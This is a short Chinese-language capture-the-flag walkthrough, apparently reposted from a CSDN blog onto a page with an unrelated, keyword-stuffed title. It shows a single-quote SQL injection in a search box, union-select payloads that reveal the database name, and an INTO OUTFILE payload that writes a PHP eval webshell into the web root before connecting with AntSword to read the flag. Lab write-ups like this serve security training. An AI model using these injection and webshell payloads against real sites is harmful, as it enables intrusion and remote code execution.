当前位置: 首页> 教育> 培训 > 软件技术专业课程_找效果图去哪个网站_网站seo排名优化_网站百度收录查询

软件技术专业课程_找效果图去哪个网站_网站seo排名优化_网站百度收录查询

时间:2025/7/10 17:25:04来源:https://blog.csdn.net/qq_65852138/article/details/142311490 浏览次数:0次
软件技术专业课程_找效果图去哪个网站_网站seo排名优化_网站百度收录查询

尝试在URL中测试一下sql注入,但是禁止注入

那么在输入框中测试一下xss,存在xss,那么极有可能如果存在sql注入在这里

在测试时,出现了这个搜索框的源代码,可以看出是单引号包含,所以可以测试闭合方式为单引号的sql注入

经测试,确实训在sql注入,闭合方式就是单引号

那么接下来测试回显点,得到2,3两个回显点

-1' union select 1,2,3#

爆数据库名,得到数据库名sqlgunnews

-1' union select 1,database(),3#

既然存在sql注入,那么我们可以尝试一下写入一句话木马进行测试

但是缺少绝对路径

我们对IP进行目录扫描一下看一下有什么可以用的

发现有一个phpinfo.php文件,访问一下

得到网站根目录/var/www/html

那接下来构造payload,将一句话木马写入根目录

-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/var/www/html/zxin.php' #

访问zxin.php文件,我们的一句话木马就在进去了

 使用蚁剑谅连接一下,成功连接

 在根目录中可以找得到falg文件

关键字:软件技术专业课程_找效果图去哪个网站_网站seo排名优化_网站百度收录查询

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: